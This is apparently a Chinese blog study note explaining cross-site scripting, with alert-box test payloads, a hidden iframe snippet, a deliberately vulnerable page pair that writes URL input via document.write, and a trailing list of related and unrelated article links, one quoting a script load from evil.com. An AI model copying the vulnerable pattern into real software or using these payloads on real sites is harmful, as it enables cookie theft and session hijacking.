XSS(笔记1)
概念
跨站脚本(Cross-Site Scripting,XSS) 发生在目标网站中目标用户的浏览器层面上,当用户浏览器渲染整个HTML文档的过程中出现了不被预期的脚本指令并执行时,XSS就会发生。为防止与层叠样式表(Cascading Style Sheets,CSS)混淆,因此缩写为XSS进行区分。
基本原理
1.攻击者对某含有漏洞的服务器发起XSS攻击(注入JS代码)
2.诱使受害者打开受到攻击的服务器URL(邮件、留言等,此步骤可选项)
3.受害者在Web浏览器中打开URL,恶意脚本执行。
XSS跨站脚本实例
1.简单的html代码
<html>
<head></head>
<body>
<script> alert ("XSS")</script>
<body>
</html>
HTML的script元素标记中间包含JavaScript,当浏览器遇到这一标记时,它不会将其内容处理成HTML或者XHTML,而是把对于其内容的控制权移交给另一个内置的浏览器代理——脚本处理引擎。又,Web浏览器本身的设计是不安全的,它只负责解释和执行JavaScript等脚本语言,而不会判断代码是否有害。
So,类似于SQL注入,当一个HTML页面能够被攻击者插入JS脚本,那么攻击便开始了。
上面的横线是js代码,深入一下xss如若是HTML代码段也照常运行:
持续刷新: <meta http-equiv=”refresh“ content= ”0;" >
嵌入其他网站URL: <iframe src=http://www.baidu.com witdth=0 height=0> </iframe>
2.攻击实例
正常操作:将a.html的输入的参数传递给b.html并显示
PS:不想用PHP或者其他通过服务器后台的方式传参,因此简单的使用JS脚本实现参数的传递。未用表单。
a.html
<html>
<head>
<title>a.html</html>
</head>
<body>
<input type="text" id="input" > </value>
<input type="button" value="go" onclick="go()"/>
</body>
<script>
function go(){
var input = document.getElementById("input").value;
window.location.href ="b.html?input="+encodeURL(input);
}
</sscript>
</html>
b.html
<html>
<head>
<title>b.html</title>
</head>
<body onload="onload()">
</body>
<script>
function onload(){
var parma =document.URL.split('?')[1];
var paramValue =parma.split("=")[1];
document.write("<div>"+decodeURL(paramValue)+"</div>");
}
</script>
</html>
case1:正常输入 点击”go“
result:显示输入内容
case2:输入"<script>alert(/XSS/);</script>" 点击”go“
result:JS脚本被执行,弹出对话框
即:假如我们通过构造特殊打的输入信息,使其一部分内容被当做JS脚本执行,XSS攻击便产生了。
XSS漏洞危害
早期,XSS危害性并不为人所认识,大多就是弹弹对话框、盗取Cookie或者网页挂马。
通常的做法是,攻击者先通过注入诸如alert("XSS")之类的JS来证明存在XSS,然后利用该XSS巴拉巴拉。。。
XSS危害特点:不如SQL注入之类直接危害大,但使用灵活。
危害总结:
1.网络钓鱼,盗取各类用户的账号
2.窃取用户Cookie,获取用户隐私,或者利用用户身份进一步执行操作
3.劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志等
4.强制弹出广告页面,刷流量等
5..进行恶意操作,例如任意篡改页面信息,删除文章等,传播跨站脚本蠕虫,网页挂马等
6.进行基于大量的客户端攻击,如DDOS攻击
7.结合其它漏洞,如CSRF漏洞。
8.进一步渗透网站
XSS(笔记1)的更多相关文章
- XSS笔记
XSS测试代码: <img src="javascript:alert(/xss/)"> <script src=http://evil.com/xss.js&g ...
- 前端Hack之XSS攻击个人学习笔记
简单概述 ** 此篇系本人两周来学习XSS的一份个人总结,实质上应该是一份笔记,方便自己日后重新回来复习,文中涉及到的文章我都会在末尾尽可能地添加上,此次总结是我在学习过程中所写,如有任 ...
- vue—你必须知道的 js数据类型 前端学习 CSS 居中 事件委托和this 让js调试更简单—console AMD && CMD 模式识别课程笔记(一) web攻击 web安全之XSS JSONP && CORS css 定位 react小结
vue—你必须知道的 目录 更多总结 猛戳这里 属性与方法 语法 计算属性 特殊属性 vue 样式绑定 vue事件处理器 表单控件绑定 父子组件通信 过渡效果 vue经验总结 javascript ...
- Web安全学习笔记 XSS上
Web安全学习笔记 XSS上 繁枝插云欣 --ICML8 XSS的分类和基本认识 XSS的危害 同源策略的基本认识 一.XSS的分类和基本认识 1. 简介 XSS全称为Cross Site Scrip ...
- Cross-site Scripting (XSS) 阅读笔记
本文源自 https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29 通过阅读和翻译,并按照自己的理解,整理成如下文档. 概述 XSS ...
- XSS学习笔记(四)-漏洞利用全过程
<script type="text/javascript" reload="1">setTimeout("window.location ...
- XSS学习笔记(一个)-点击劫持
所谓XSS这个场景被触发XSS地方,在大多数情况下,攻击者被嵌入在网页中(问题)该恶意脚本(Cross site Scripting),这里的攻击始终触发浏览器端,攻击的者的目的.一般都是获取用户的C ...
- XSS学习笔记(五)-XSS防御
如果只生产XSS的地方都与输入或输出相关联的.所以错过了主要矛盾.而且,我们将有一个解决问题的办法:您可以输入端砚格过滤,是可能的过滤输出时间,输出到用户的GET或POST中是否有敏感字符: 输入过滤 ...
- 【转载】XSS学习笔记
XSS的分类 非持久型 非持久型XSS也称反射型XSS.具体原理就是当用户提交一段代码的时候,服务端会马上返回页面的执行结果.那么当攻击者让被攻击者提交一个伪装好的带有恶意代码的链接时,服务端也会立刻 ...
- XSS Challenges闯关笔记
前言 做xss做疯了再来一个. 地址:https://xss-quiz.int21h.jp/ ,这个貌似是日本的一个安全研究员yamagata21做的. 做到第九关就跪了,而总共有二十关.一半都还没有 ...
随机推荐
- /etc/fstab文件分析(第二版)
/etc/fstab文件分析 前面说新建的分区在系统重启之后就会失效,要想永久生效,需要将其写入/etc/fstab文件 一./etc/fstab文件格式:6个组成部分 物理分区名/卷标 挂载点 文件 ...
- Erlang cowboy 处理简单的HTTP请求
Erlang cowboy 处理简单的HTTP请求 原文出自: Handling plain HTTP requests 处理请求的最简单的方式是写一个简单的HTTP处理器.它的模型参照Erlang/ ...
- 关于linux内核驱动开发中Makefile编译的问题
obj-y:打个比方,我要编译的是hello.c这个文件,obj-y就会把hello.c或者hello.c编译生成的hello.s文件链接到内核中去. obj-m:打个比方,我要编译的是hello.c ...
- Xcode使用心得02:如何在项目中关闭ARC特性
在obj-c系列内存管理的博文里大家应该对ARC有所了解,一般是不推荐关闭ARC特性的,但你也保不齐啥时候有这个需求,于是乎我们看看在最新的x6b中如何将其关闭吧. 因为Build Seting里的子 ...
- The 13th tip of DB Query Analyzer, powerful processing EXCEL file
The 13thtip of DB Query Analyzer, powerful processing EXCEL file MA Genfeng (Guangdong UnitollServic ...
- Java工程师成神之路思维导图
前面看Hollis的微信公众号更新了Java工程师成神之路的文档,感觉里面的内容清晰.齐全,可以用来审视自己,也能够知道自己在那些方面可以继续前行,想着有时间把它画下来,画下来之后分享出来. 主要内容 ...
- 新盘进行LVM的划分
echo "- - -" > /sys/class/scsi_host/host2/scan LVM是 Logical Volume Manager(逻辑卷管理)的简写,它由 ...
- 微服务架构的基础框架选择:Spring Cloud还是Dubbo?
最近一段时间不论互联网还是传统行业,凡是涉及信息技术范畴的圈子几乎都在讨论微服务架构.近期也看到各大技术社区开始组织一些沙龙和论坛来分享Spring Cloud的相关实施经验,这对于最近正在整理Spr ...
- 基于Django的独立运行脚本开发
1.在Django框架下工作时间长了,会对Django的技术设施产生依赖,比如其方便的ORM,如果写基于Django的独立运行脚本,主要在脚本前面加上以下代码: import sys,os,djang ...
- 爬取廖雪峰的python3教程
从廖雪峰老师的python教程入门的,最近在看python爬虫,入手了一下 代码比较low,没有用到多线程和ip代理池 然后呢,由于robots.txt的限定,构建了一些user-agent,并放慢的 ...